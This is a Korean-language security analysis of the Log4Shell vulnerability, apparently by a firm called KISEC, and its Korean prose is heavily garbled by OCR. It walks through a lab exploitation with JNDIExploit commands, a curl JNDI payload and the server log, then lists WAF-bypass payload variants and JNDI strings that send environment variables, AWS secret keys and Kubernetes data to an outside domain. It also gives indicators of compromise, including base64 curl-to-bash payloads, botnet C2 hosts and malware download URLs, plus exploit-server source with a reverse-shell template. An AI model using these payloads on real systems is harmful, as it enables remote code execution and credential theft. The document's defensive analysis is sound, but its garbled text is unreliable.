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1.7 g e

logdj 1.2 KT O ME FfF(CVE-2021-4104) O] ZZAE|RUCt logdj 1.x HE2| B2, X SX|= Q3| CIE
HorRHo| =2 7tsd0l &7| W20l HAHHE YOO|EE MBS E #Hdt n

—= T10
log4j v2 Of| EHSH A CHE D log4j v at A E L2 &= HUOHIO|EF 6FO|Ct.

0o [
kl
%
|0

11 39%H Me

CVE CVE-2021-44228
sk = AT EQ0] Apache Log4j
Yokt AT EQ O] HH 2.0-beta9 ~ 2.14.1
%ok RCE

Y A [ ] YV | V =
CVE K I CVE-SVl-45o4 (
) Y I ( \
gk Hi= AT EZ O] Apache Log4j
Ak Hi= AT EQO HH 2.0-beta9 ~ 2.12.1 5! 2.13.0 ~ 2.15.0
F ok DoS

B 2.0-beta9 ~2.10.0

v IndiLookup E2AE BZ20A M~
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/IndiLookup.class

m 210-~2141
v log4j2.formatMsgNoLookups = LOG4J_FORMAT_MSG_NO_LOOKUPS 2t &= true 279
B EAMHXO 5002 AHGOjE M A5

v 20219 12 8 14 Y2 7|E2 Z Apache log4j 2.15.0 {7 0| L& HO|A] ZEXYE O FFH O
EXSte A2 2 22l E (CVE-2021-45046)

B EHMHT(2.16.0022 UHO|E M2 A1
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1.3 LOG4SHELL O|2t?

CVE-2021-44228 (2 Y log4shell)2 Java 7|8 24 =02l Apache Log4j 2t0|E2{2|2| &

74

I__l

#|SFHOICE, O HHHS BAXTH 21 HAIXE HOZ 4 U ABiojA 2EE gojo] Acg
7

AN
U2 Log4j 2t0| 2 2{2| & AtEot= CHFZ 2 YOl F et A2 = B ALt

L2 O A|ZE = logdj & Ar23I0] X-API-Version 8|EHZfS 240 2438t QUL

o
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4]j.Logger;
Lo(dEh. .
public String index(@RequestHeader("X-Api-Version") String apiVersion) {

logger.info("Received a request for API version " + apiVersion);

return "Hello, world!";

}

g

A7t

rr

ChZ1k 20| 918 Class T 0| = MHZ HE|5tH= 2d LDAP MM E 7ttt

el O =
$ java -jar INDIExploit-1.2-SNAPSHOT.jar -i 192.168.0.129 -p 8888
[+] LDAP Server Start Listening on 1389...

[+] HTTP Server Start Listening on 8888...

ISt Z2| 0] Z2|#0|M0| log4j & S 2ZF 2 F20 ${indi:ldap:/attacker} =2 & 2t SAHXt2
LDAP ME{O| A 2t Y Class It Y S CHREESHE & SO}

—

$ curl {Victime} -H 'X-Api-Version: ${jndi:ldap://attacker/a}’

JNDI (Java Naming and Directory Interface) 0| 2t?

java 2 4=l 0{Z 2|7 0|2 DNS, LDAP, RMI, NDS S1t Z+2 Naming/Directory A H|A 0| &1 ZAS}7|
2[5t API

LDAP(Lightweight Directory Access Protocol) 0| £t?

TCP/IP 2{0| A CI=E 2] ME[AS 2|0t =75}

o

rr
olo

2 IZEZE (EN: 97|81}
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https://ko.wikipedia.org/wiki/LDAP

et logashell F2FEH2 logsj & &3l O 215 B7|0AF A=X|0f M2t SAXS| HO[ZETF HELX|A
ECE (REME 82 “8H 1. &2I3}{0f S5ti= Header's & X)

Accept-Charset
Forwarded-For-IpWarning
Referer

X-Api-Version

Authorization: Basic

LOGASHELL O i&S &4 SE= 2 LtEfLIH CH3at 20,

How to works log4shell?

Attacker LDAP Server Attacker HTTP Server
(ldap://Attacker.com) (http://Attacker.com)
1
1 1

12! 1. LOG4SHELL 34 SE

A HRY, Attacker = Victim AE{0f| “${jndi:ldap://Attacker.com/a}” 1t Z2 JNDI H|O|2EE ™ & 3ICH
T IR, victim M= 222 ?I3l log4j 2 HO|ZEE TSI

Ml B, log4j = MEEl HO|2EZ2 &St Attacker LDAP Server & 32| StCt,

H| H%, Attacker LDAP Server = 2-d XtH} 22271 ZotE ClHEL| YEZE SETICL

CHA BRY, Victim MH & ©fd Java 2228 GHE 5L CH2 2 2ot 2ot

K K[SEC 0




2. LOG4SHELL Al ¥

X O 7IHe ALHO| 75

2.1 TEST LAB &%

HX TEST LAB &4 2 Ct21t Z

EHAE SZ0M 34 7|8 A7 E

FELICH (&F 2, Victim 2 Docker £ T+4)

CHe SIHH| HEHI
Attacker Ubuntu 20.04.1 LTS 192.168.0.129

Attacker LDAP Server

Ubuntu 20.04.1 LTS

192.168.0.129

Attacker HTTP Server

Ubuntu 20.04.1 LTS

192.168.0.129

Victim

Docker Alpine Linux 3.8.2

172.17.0.2

851A| 7| gLt

Eof HHE2 tt3a 2Lt

wl [
20.1(3!’(bui|d: 2(’.‘!0.7-0ub 5~20.04.2)

Log4j 26.1

2.2 Fefet ol E2|AH 0l Y

rOI-
u
oN
mjo

Java O] Z22|H 0|2 log4j & EE5}0] Ct21t 20| 215 2Z5tL ULt £3|, API Version Of Cfi g
o
=

AEst UAS

2?5l logaj E

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4dj.Logger;

L (4ED. ..

public String index(@RequestHeader("X-Api-Version") String apiVersion) {
logger.info("Received a request for API version " + apiVersion);

return "Hello, world!";

}

K KISEC 6




2.3 EXPLOIT

o

«Q
B
T
gl
0
HU
-
0%
m
°Q
$0
rir
[
>
o
|m
u
fim!

2. M2HE F™-E /vin/sh -c 2 HYSI=E =& Class THY S CH2EZESIE K St 2d LDAP AMH

3. Lol Xt F2| o{E2|#|0]/140] log4j E Sl EHF 2 FE20 ${jndi:ldap://attacker} +EZ(CIAH)S &L

MO 2 CVE-2021-44228 & 2 Z 0| A| R{dSt AR} St}

AlS
AlLSH

Otz P22 Docker 2HE 0| A Fefet & M HH|O|HE 2Lt

$ sudo docker run --rm --name vulnerable-app -p 8080:8080
ghcr.io/christophetd/log4shell-vulnerable-app

2) 2’4 LDAP MH

N

S4Xt= Chat 20| 24 LDAP AH

| < =
(29 LDAP AMH{Of| CHot &M 242 "8 H 2.

—

7bSetrt.
°f'd LDAP M 22 E 24" &)

$ java -jar INDIExploit-1.2-SNAPSHOT.jar -i 192.168.0.129 -p 8888
[+] LDAP Server Start Listening on 1389...

[+] HTTP Server Start Listening on 8888...

3) %4 HOZE MY

C2 1t 20| X-Api-Version 8| 2fS ™ gstrt,

$ curl 127.0.0.1:8080 -H 'X-Api-Version:
${jndi:1dap://192.168.0.129:1389/Basic/Command/Base64/dG91Y2ggL3RtcCO9wd251ZA==}"

D2 " dG91Y2ggL3RtcCOWd25IZA==" touch /tmp/pwned O| base64 Z QI3 &=l EXtEO0|C},




' — length: 16 —
Recipe S N Input e + O=2] 0 =
touch /tmp/pwned
To Baseb4
Alphabet _
A-Za-z0-9+/=
e time: 1ims I— —o
Output &= et 2 @ 0 & i
dag1¥2ggl 3RtcCOwd2517 A==
STEP
Auto Bake

12! 2. Bage64 Q1A TLZ}

Z0| &g LDAP MH7} &F5t= EOdE EE, AZ2A ZEE S S 2Ast= Java
o

$ java -jar INDIExploit-1.2-SNAPSHOT.jar -i 192.168.0.129 -p 8888

[+] LDAP Server Start Listening on 1389...

[+] HTTP Server Start Listening on 8888...

[+] Received LDAP Query: Basic/Command/Base64/dG91Y2ggl3RtcCOwd251ZA==
[+] Paylaod: command

[+] Command: touch /tmp/pwned

[+] Sending LDAP ResourceRef result for Basic/Command/Base64/dG91Y2ggl3RtcCO9wd251ZA==
with basic remote reference payload

[+] Send LDAP reference result for Basic/Command/Base64/dG91Y2ggl3RtcCOwd251ZA==
redirecting to <http://192.168.0.129:8888/Exploit6r6G6exXDIq.class>

[+] New HTTP Request From /172.17.0.2:46916 /Exploit6r6G6eXDIqg.class
[+] Receive ClassRequest: Exploit6r6G6eXDIqg.class

[+] Response Code: 200
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/ # 1s -al /tmp
total 20

drwxrwxrwt 1 root
drwxr-xr-x 1 root

drwxr-xr-x 2 root

-PW-P--r-- 1 root
drwx------ 2 root
drwx------ 3 root

root

root

root

root

root

root

4096

4096

4096

4096

4096

Dec

Dec

Dec

Dec

Dec

Dec

16

16

16

16

16

16

09:

09:

09:

09:

09:

09:

26 .

26 ..

26

26

26

26

hsperfdata_root
pwned
tomcat-docbase.8080.2447514458079121006

tomcat.8080.1599987736242531825

3. WAF BYPASS

ChE2 WAF & 22l517| 2let 7| =0|Ct (B X:

${jndi:1ldap://domain.com/j}

${jndi:1dap:/domain.com/a}

${jndi:dns:/domain.com}

${jndi:dns://domain.com/j}
${P{::-3I%{::-n}${::-d}P{::-1}:${::-r}${::-m}${::-i}://domain.com/j}
${${::-jIndi:rmi://domain.com/7j}

${jndi:rmi://domainldap.com/j}

${${lower:jndi}:${lower:rmi}://domain.com/j}

)

${${lower:${lower:jndi}}:${lower:rmi}://domain.com/7j}

${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://domain.com/j}

${${1lower:j}${upper:n}t${lower:d}${upper:i}:${lower:r}m${lower:i}}://domain.com/j}

${jndi:${lower:1}${lower:d}a${lower:p}://domain.com}

${${env:NaN: -j}Indi${env:NaN:-:}${env:NaN:-1}dap${env:NaN:-:}//domain.com/a}

jn${env::-}di:

jn${date:}di${date:"':"}

j${k8s:k5:-ND}i${sd:k5:-:}

j${main:\k5:-Nd}i${spring:k5:-:}

j${sys:k5:-nD}${lower:i${web:k5:-:}}

j${::-nD}i${::-:}
K



https://musana.net/2021/12/13/log4shell-Quick-Guide/

j${ENV:K5:-nD}i:

j${loWer:Nd}i${uPper::}
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4. 8™ 370 U= 10C

A SHED A= 10C & 740 B2 X[EXH2 = HH|O|EL|D ULt

rir

4-1. HTTP HEADERS

${jndi:1ldap://015ed9119662[ . ]bingsearchlib[.]com:39356/a}
${jndi:1dap://32fce0@c1f193[.]bingsearchlib[.]com:39356/a}
${jndi:1ldap://3be6466b6a20[ . ]bingsearchlib[.]com:39356/a}
${jndi:1dap://6c8d7dd40593[ . ]bingsearchlib[.]com:39356/a}
${jndi:1ldap://7faf976567f5[ . ]bingsearchlib[.]com:39356/a}
${jndi:1ldap://e86eafcf9294[.]bingsearchlib[.]com:39356/a}

${jndi:1dap://80.71.158[.]12:5557/Basic/Command/Base64/KGN1cmwgLXMgODAUNzEUMTU4LEYL2x
oLnNNofHx3Z2VeIC1xIC1PLSA4MC43MSAXNTguMTIvbGguc2gpfGlhc2g=}

${jndi:1ldap://45.155.205[.]233[:]12344/Basic/Command/Base64/KGN1cmwglLXMgNDUUMTU1L jIwNS
4yMzM6NTg3NC9bdmljdG1tIE1QXTpbdmljdGltIHBvcnRAfHx3Z2VOIC1XIC1PLSAONSAXNTUUMjAL1LjIzMzol
ODcOL1t2alWN@aWegSVBdO1t2aWNeaWdgcGOydFOpfGIhc2gK}

wr I/ | C I r

4-2. DATA EXFILTRATION

${jndi:1ldap://${env:user}.domain.com/exp}
${jndi:dns://${hostName}.domain.com/a}
${jndi:dns://${env:COMPUTERNAME}.domain.com/a}
${jndi:dns://${env:USERDOMAIN}.domain.com/a}
${jndi:dns://${env:AWS_SECRET_ACCESS_KEY.domain.com/a}
${jndi:1dap://${ctx:1loginId}.domain.com/j}
${jndi:1ldap://${map:type}.domain.com/j}
${jndi:1ldap://${filename}.domain.com/j}
${jndi:1ldap://${date:MM-dd-yyyy}.domain.com/7j}
${jndi:1dap://${docker:containerId}.domain.com/7j}
${jndi:1ldap://${docker:containerName}.domain.com/j}
${jndi:1dap://${docker:imageName}.domain.com/j}
${jndi:1dap://${env:USER}.domain.com/j}

${jndi:1ldap://${event:Marker}.domain.com/j}

K K[SFC 11




${jndi:
${jndi:
${jndi:
${jndi:
${jndi:
${jndi:
${jndi:
${jndi:
${jndi:
${jndi:
${jndi:
${jndi:
${jndi:
${jndi:
${jndi:
${jndi:
${jndi:
${jndi:
${jndi:
${jndi:
${jndi:
${jndi:
${jndi:
${jndi:
${jndi:
${jndi:
${jndi:
${jndi:
${jndi:
${jndi:
${jndi:
${jndi:

${jndi:

ldap:
ldap:
ldap:
ldap:
ldap:
ldap:
ldap:
ldap:
ldap:
ldap:
ldap:
ldap:
ldap:
ldap:
ldap:
ldap:
ldap:
ldap:
ldap:
ldap:
ldap:
ldap:
ldap:
ldap:
ldap:
ldap:
ldap:
ldap:
ldap:
ldap:
ldap:
ldap:

ldap:

//${mdc:
//${java
//${java
//${java
//${jndi
//${host

UserId}.domain.com/j}
:runtime}.domain.com/j}
:vm}.domain.com/j}
:0s}.domain.com/j}
:logging/context-name}.domain.com/j}

Name}.domain.com/j}

//%${docker:containerId}.domain.com/j}

//${k8s:
//${k8s:
//${k8s:
//${k8s:
//${k8s:
//${k8s:
//${k8s:
//${k8s:
//${k8s:
//${k8s:
//${k8s:
//${k8s:
//${k8s:
//${k8s:
//${k8s:

accountName}.domain.com/j}
clusterName}.domain.com/j}
containerId}.domain.com/j}
containerName}.domain.com/j}
host}.domain.com/j}
labels.app}.domain.com/j}
labels.podTemplateHash}.domain.com/j}
masterUrl}.domain.com/j}
namespaceId}.domain.com/j}
namespaceName}.domain.com/3j}
podId}.domain.com/j}
podIp}.domain.com/j}
podName}.domain.com/j}
imageId}.domain.com/j}

imageName}.domain.com/j}

//${1log4j:configlocation}.domain.com/j}

//${1log4j:configParentLocation}.domain.com/j}

//%${spri
//${main

//${main:
//${main:
//${main:
//${main:

//${main

//${main:

//${name

ng:spring.application.name}.domain.com/j}
:myString}.domain.com/j}

0}.domain.com/j}

1}.domain.com/j}

2}.domain.com/j}

3}.domain.com/j}

14} .domain.com/j}

bar}.domain.com/j}

}.domain.com/j}
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4-3. HASHES

f2e31685256e5f31b05fc9f9cad70f527d7fdae28fa3190c8ebal79473e20789
c70e6f8edfcadbe3caddc2cfac8fddd14804b7e1e3c496214d09c6798b4620c5
b74b2907b3b47fcbdab5054ec3ae8a46c7c330fa60d637e735ce9fe73d9ab687
9dc313bdf572fcO1fe3e38a618a0872599a57053b76955098f5eb9bac90c4791
95bac3dbd206a3af70864dbeb07b41537e84bab2bcfla8cldc7e20187et590658
80f2a26a81697e16172239936a4ef7863742c78dc2a997abaf3265cda51a5514
5fabfec938887d35334e82b40698019d344024bcf3f2bef@ecebfc118a983eab
57dce954cf51d0695d1c566dba5b@la7f3al7f6b21e@beb4b315505e3572¢c7ed
3e6567dab5e7c7c42a02ac47e8c68161c9c481bbbbe5ddblc68e86F7370dab4s
£059246cea87a886acb1938809cf4al152247a5b5a2dfeblbf64c46a@daccbec
e€7c5b3de93a3184dc99¢c98c7f45e6ff5f6881bl5d4a56c144e2e53e96dccOe8d2
b43acc43c3bda663077e48ec983b0adc68d2aa990f57abee20e5167c91ade846
ac8f86909b45f36d7ab862081bce71676b1e90b5c22f195d359a023eb7bf2589
a290b6f956ecdb3d2d2019088f0b01a93a9f680c82a4680c0fb87eb5e3e64897
86fc70d24179a34c46ef66112ef4756639fcad2f2d7288e0eeb0448ffab90428
7b09767e5a6317cbealdff3b59d65938f69fc53e2f21fae3bcc239a672ef50e9
62cbdd65297c8e4a7889ba2754886942a1ff31c2d879cdc65f3604de@d3d2482
5b237dc6cf9849729ce@ce21d89733c6883faae384082elaaf786df697ef51a8
34eada@ce54442ef4e921de48d9910eca’ee57327b2d2d3eca78a621fd343720
334f5ec2adc5fb@1lbce3527c838f67e536e0e58076b8918736c423dfc2bb7742
2b5f04d15e459132a5935260746788db39b469ea46859c4a5bb8625Ff8a80bd41

81f288645cf2afaf018a7ac6363fee28888a9bfbfbfa842b904ed5b6c74cba7f
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4-4. BOTNET

1)MIRAI
#C2

nazi.uy

#URL

http://62.210.130.250/1h.sh
http://62.210.130.250:80/web/admin/x86_64
http://62.210.130.250:80/web/admin/x86

http://62.210.130.250:80/web/admin/x86_g

2) MUHSTIK
#C2

log.exposedbotnets.ru

#Hashes

15e7942ebft88a51346d3a5975bb1c2d87996799e6255db9e92aed798d279b36b

#IPs and URLs

http://45.130.229.168:9999/Exploit.class
http://18.228.7.109/.1og/log

http://18.228.7.109/.1log/pty1l;
http://18.228.7.109/.1og/pty2;
http://18.228.7.109/.10og/pty3;
http://18.228.7.109/.1og/pty4;
http://18.228.7.109/.1og/pty5;
http://210.141.105.67:80/wp-content/themes/twentythirteen/m8
http://159.89.182.117/wp-content/themes/twentyseventeen/ldm
hxxp://104.236.84[.]211/x/ttye
hxxp://124.37.34[.]51/.c/muhstika5
hxxp://124.37.34[.]51/.c/muhstikmips

hxxp://124.37.34[.]51/.c/muhstikmipsel
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hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:

hxxp:

//128.
//130.
//130.
//130.
//130.
//130.
//130.
//130.
//130.
//138.
//138.
//138.
//138.
//138.
//138.
//138.
//138.
//138.
//138.
//142.
//142.
//142.
//142.
//142.
//142.
//142.
//142.
//142.
//142.
//149.
//149.
//149.

//149.

199.

211.

211.

211.

211.

211.

211.

211.

211.

197.

197.

197.

197.

197.

197.

197.

197.

197.

68

93.

93.

93.

93.

93.

93.

93.

93.

93

93.

28.

28.

28.

28.

991 .
99[.
991 .
99[
991 .
99[.
991 .

99][.

251[.
127].
127].
127].
127].
127].
171[.
171[.
171[.

206] .

1119/ .r/rad
1186/x/tty@
1186/x/tty1l
1186/x/tty2
1186/x/tty3
1186/x/ttys5
118/ .x/tty2
118/ .x/udevd
118/ .x/vyattad
1223 /wp-content/themes/twentysixteen/dk86
134/ .x/pty1l
134/ .x/ptyll

134/ .x/pty2

.134/.x/pty3

134/ .x/pty4
134/ .x/pty5
134/ .x/pty6

134/ .x/pty7

.66[.169/.p/wx

33[.]168/.y/ptyl

33[.]168/.y/ptyle

33[.]168/.y/pty2

33[.]168/.y/pty3

33[.]168/.y/pty4

33[.]168/.y/pty5

33[.]168/.y/pty6

33[.]168/.y/pty7

.33[.]168/.y/pty8

33[.]168/.y/pty9

207].

1161/xm

85[.]17/wp-content/ptyl

85[.]17/wp-content/ptyle

85[.]17/wp-content/pty2




hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:

hxxp:

//149.
//149.
//149.
//149.
//149.
//157.
//159.
//159.
//159.
//159.
//159.
//159.
//159.
//159.
//159.
//162.
//162.
//165.
//167.
//167.
//167.
//167.
//167.
//167.
//169.
//173.
//178.

//178.

28.85[.]17/wp-content/pty3
28.85[.]17/wp-content/pty5
28.85[.]17/wp-content/pty6
28.85[.]17/wp-content/pty7
28.85[.]17/wp-content/pty9
245.41[.]77/wp-content/themes/twentysixteen/pty3
89.156[.]190/.y/ptyl
89.156[.]190/.y/ptyll
89.156[.]190/.y/pty2
89.156[.]190/.y/pty4
89.156[.]190/.y/ptys5
89.156[.]190/.y/pty7
89.156[.]190/.y/pty8
89.156[.]190/.y/ral
89.91[.]223/.x/dk86
243.211[.]204/nsshcron
243.211[.]204/nsshpftp
22.2[.]186/wp-content/themes/twentyseventeen/dk86
99.39[.]134/.x/ptyl
99.39[.]134/.x/pty10
99.39[.]134/.x/ptyll
99.39[.]134/.x/pty2
99.39[.]134/.x/pty3
99.39[.]134/.x/pty5
62.195[.]235/wp-content/themes/.w/wx
237.240[ .]1115/muhstik
250.211[.]161/x/udevd

250.211[.]161/x/vyattad

//18.228.7[.1109/.1log/ptyl

//18.228.7[.]1109/.1log/pty2

//18.228.7[.]1109/.1og/pty3

//18.228.7[.]109/.1og/pty5

//185.

244.25[.]217/x




hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:

hxxp:

//188.166.137[.]241/wp-content/themes/twentyseventeen/dk86

//194.31.52[.]174/dk86

//219.117.237[.]242/ .x/vyattad

//3.10.224[.]87/.a/dk86

//34.
//34.
//34.
//34.
//34.
//34.
//34.
//34.
//34.
//34.
//35.
//35.
//35.
//35.
//37.
//37.
//37.
//37.
//37.
//37.
//37.
//37.
//37.
//37.
//37.
//37.
//46.
//46.

//46.

221.40[.]237/.x/pty1
221.40[.]237/.x/pty10
221.40[.]237/.x/ptyll
221.40[.]237/.x/pty2
221.40[.]237/.x/pty3
221.40[.]237/.x/pty5
221.40[.]237/.x/pty6
221.40[.]1237/.x/pty7
221.40[.]237/.x/pty9
66.229[.]152/.r/ra4d
160.222[.]182/x/tty®
160.222[.]182/x/tty4
160.222[.]182/x/udevd
160.222[.]182/x/vyattad
187.107[ . 1139/ .x/tty0
187.107[.]139/.x/ttyl
187.107[.]139/.x/tty2
187.107[.]139/.x/tty3
187.107[.]139/.x/tty4
187.107[.]139/.x/tty5
187.107[.]139/.x/udevd
187.107[ . 1139/ .x/vyattad
187.253[.]12/x/ttye
187.253[.]12/x/tty4
187.253[.]12/x/udevd
187.253[.]12/x/vyattad
218.149[.]85/x/udevd
218.149[.]85/x/vyattad

29.160[ . ]149/x

17




hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:
hxxp:

hxxp:

//5.19.4[.]15/f/udevd

//51.254.
//51.
//51.
//51.
//51.
//51.
//51.
//51.
//51.
//51.
//52.
//52.
//52.
//52.
//52.
//52.
//52.
//52.
//54.
//54.
//54.
//61.
//61.
//62.
//62.
//68.
//68.
//68.
//68.
//69.
//69.
//71.

254.

254.

254.

254.

254.

254

254

254.

254.

69.

69.

69.

69.

74.

74.

74.

8.1

186.

186.

186

244

244.

107.

107.

183.

183

183.

183.

162.

162.

127.

221[.]129/c/bash
221[.]129/c/cron
221[.]129/c/nsshcron
221[.]129/c/nsshpftp
221[.]129/c/nsshtfti

221[.]129/c/ntpd

.221[.]129/c/pftp

.221[.]129/c/sshd

411 .
41].
411 .
41].
21 .
21 .
21 .

23[.

221[.]129/c/tfti

221[.]129/mipst

]108/x/ttye
]108/x/tty4
]1108/x/udevd
]1108/x/vyattad
159/x/ttye
159/x/udevd
159/x/vyattad

]250/x/tty@

181[.]14/x/tty@

181[.]14/x/tty4

.181[.]14/x/vyattad

.150[ . ]51/x/udevd

150[.]51/x/vyattad
31[.]115/.x/udevd
31[.]115/.x/vyattad

165[.]105/.1/ptyl

.165[.]105/.1/pty2

165[.]105/.1/pty3
165[.]105/.1/pty5
66[ .]136/x/udevd

66[.]136/x/vyattad

148[.169/.x/tty5

18




hxxp://71.127.148[ .]69/.x/udevd
hxxp://85.214.149[.]236:443/sugarcrm/themes/default/images/mod. jpg
hxxp://85.214.149[.]236:443/sugarcrm/themes/default/images/stock. jpg

hxxp://85.214.149[.]236:443/sugarcrm/themes/default/images/SugarLogic/.../TNTb/Contain
erPwn

hxxp://89.31.77[.]140/medicvita/cgi/cert
hxxp://91.189.238[ .]222/muhstik
hxxp://93.188.163[.]62/.y/pty4
hxxp://93.188.163[.]62/.y/pty7
hxxp://93.188.163[.]62/.y/pty8
hxxp://cnc[.]mariokartayy[.]com/carl
hxxp://decoding9og[ . ]|@@Owebhostapp[.]com/decoding92001.0g.10l/x
hxxp://dsrn[.]com[.]br/beta/cgi-bin/cert
hxxp://dsrn[.]com[.]br/beta/cgi-bin/load
hxxp://fkd.derpcity.ru/f/udevd
hxxp://igot[.]verymad[.]net/cgi-bin/tomcat/load
hxxp://wegot[.]verymad[.]net/beta/cgi-bin/load

hxxp://wingl38[.]f3322[.]net/glib

A I\ I / L \

HAM 1. = QI8 OF 5= HEADERS

Accept-Charset
Accept-Datetime
Accept-Encoding
Accept-Language
Authorization
Cache-Control
Cf-Connecting_ip
Client-Ip
Contact

Cookie

DNT

Forwarded

Forwarded-For

K KISEC 19




Forwarded-For-Ip
Forwarded-Proto
From
If-Modified-Since
Max-Forwards
Origin
Originating-Ip
Pragma

Referer

TE
True-Client-IP
True-Client-Ip
Upgrade
User-Agent

Via

Warning
X-ATT-Deviceld
X-Api-Version
X-Att-Deviceid
X-CSRFToken
X-Client-Ip
X-Correlation-ID
X-Csrf-Token
X-Do-Not-Track
X-Foo

X-Foo-Bar
X-Forward-For
X-Forward-Proto
X-Forwarded
X-Forwarded-By
X-Forwarded-For
X-Forwarded-For-Original

X-Forwarded-Host

20




X-Forwarded-Port
X-Forwarded-Proto
X-Forwarded-Protocol
X-Forwarded-Scheme
X-Forwarded-Server
X-Forwarded-Ssl
X-Forwarder-For
X-Frame-Options
X-From
X-Geoip-Country
X-HTTP-Method-Override
X-Http-Destinationurl
X-Http-Host-Override
X-Http-Method
X-Http-Method-Override
X-Http-Path-Override
X-Https

X-Htx-Agent
X-Hub-Signature
X-If-Unmodified-Since
X-Imbo-Test-Config
X-Insight

X-Ip

X-Ip-Trail

X-Leakix
X-Originating-Ip
X-ProxyUser-Ip
X-Real-Ip
X-Remote-Addr
X-Remote-Ip
X-Request-ID
X-Requested-With

X-UIDH




X-Wap-Profile
X-XSRF-TOKEN
Authorization: Basic
Authorization: Bearer
Authorization: Oauth

Authorization: Token

Ct21F 20| AAZ=29l URI 2 EA &|H /basic B2 CH2 0| command 2= Z27F QUL

jndi:1ldap://192.168.0.129:1389/Basic/Command/Base64/dG91Y2gglL3RtcCOwd251ZA0=

Payloadtype 2 Ct21t 220, 11 S0 A type O] command Q! Z-0f CHsi M 2AISHCt

package com.feihong. ldap.enumtypes;

= public enum PayloadType {
4 ommand, dnslog, reverseshell, tomcatecho, springecho, weblogicecho, temcatmemshelll, t 112, weblogicmemshelll, weblogicmemshell2, jettymemshell, jb 11, webspher 11, springmemshell;

K a3l 3, KLDAP A1+IA1 AL §E1I0IEE h&e (‘

ot LDAP MH 2| "BasicController.class” 22T EE E M commandTemplate 0| A getClassName()HMEE
AHSH0] className H =0 X &t AL

@LdapMapping(uri = {"/basic"})
= public class BasicController implements LdapController {
18 private String codebase = Config.codeBase;

private PavloadTvpe type;
private String[] params;
= public void sendResult({InMemorvInterceptedSearchResult result, String base) throws Exception {
DnslogTemplate dnslogTemplate;

CommandTemplate commandTemplate;
BeverseShellTemplate reverseShellTemplate;

24 System.out.println{”[+] Sending LDAP ResourceRef result for " + base + " with basic remote reference payload");
26 Entry & = new Entrv(base);
27 String className = "";
29a switch (this.tvpe) {
case dnslog:
AN dnslogTemplate = new DnslogTemplate(this.params[@]);
a2 dnslogTemplate.cache();
33 className = dnslogTemplate.getClassMame();
break;
case command:
36 commandTemplate = new CommandTemplate(this.params[8]);
v commandTemplate.cache();
kifi] className = commandTemplate.getClassName();
break ;
case reverseshell:
41 reverseshellTemplate = new ReverseShellTemplate(this.params[@8], this.params[1]);
42 reverseShellTemplate.cache();
43 className = reverseShellTemplate.getClassName();
break;

33 4. AHof FolE HERE Sl class 0| ES B2
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CommandTemplate 0| M= 2L “Exploit” Off HEHEXES &M generate()2h= HA =

= public class CommandTemplateé implements Template {
private String className;

private byte[] bytes;
private String cmd;

= public CommandTemplate(String cmd) {

14 this.cmd = cmd;
15 this.className = "Exploit” + Util.getRandomString();
17 generate();
¥
= public CommandTemplate(5tring cmd, String className) {
21 this.cmd = cmd;
2 this.className = className;
24 generate();
¥
= public void cache() {
28 Cache.set(this.className, this.bytes);
}
=  public String getClassMame() {
32 return this.className;
}
= public byte[] getBytes() {
a6 return this.bvtes;
}

generate() A £0{ A= BCI(Byte Code Injection)2t1l St= 7|&2 AHESL0] /bin/sh -c {FE12 A=

Class & M stct,

BCI(Byte Code Injection) O|2}?

=S T YO HeBM ZAEE +8Y =+ ULE RAUT AT 72 QLELLTL OFLHELE |StE
FEE class Off &g == ULt O] 7[&= S AtEot= tHEXN Q! o 2 Spring 2| AOP 7t ULt

= public void generate() {

40 ClassWriter cw = new ClassWriter(e);

45 cw.visit (58, 33, this assName, null, “"com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet”, null});
43 FieldVisitor fv = cw.visitField(1®, "cmd", "Ljsva/lang/5tring;", null, null);
43 Fv.visitEnd();

52 MethodVisitor mv = cw.yisitMethod(1l, "<init>", "()V¥", null, null);

%] mv.visitCode();

54 Label 18 = new Label();

73] Label 11 = new Label();

56 Label 12 = new Label();

R7 mv.visitTryCatchBlock(1®, 11, 12, “"java/io/IOException");

=t} mv.visitVarInsn(2s, @);

kg mv.yisitMethodInsn(183, “"com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet”, "<init>", "{)V", false);
0 mv.visitFieldInsn({178, "java/io/File", "separater”, “"Ljava/lang/String;");

El mv.visitldeInsn("/");

B2 mv.visitMethodInsn(182, “java/lang/String”, "equals", "(Ljava/lang/Object;)Z", false);
k3 Label 13 = new Label();

64 mv.visitJumpInsn(153, 13);

B5 mv.visitInsn(&);

513} mv.visitTypeInsn(189, "java/lang/String");

B7 mv.visitInsn(89);

63 mv.visitInsn(3);

63 mv.yisitldcInsn{"/bin/sh");

0 mv.visitInsn(83);

Kl mv.visitInsn(89);

7 mv.visitInsn(4);

73 mv.visitldeInsn("-c"

Kt} mv.visitInsn(83);

Kl mv.visitInsn(89);

Kl mv.visitInsn(5);

ki mv.yisitFieldInsn{178, this.className, "cmd", "Ljava/lang/String;");

7 mv.visitInsn(83);

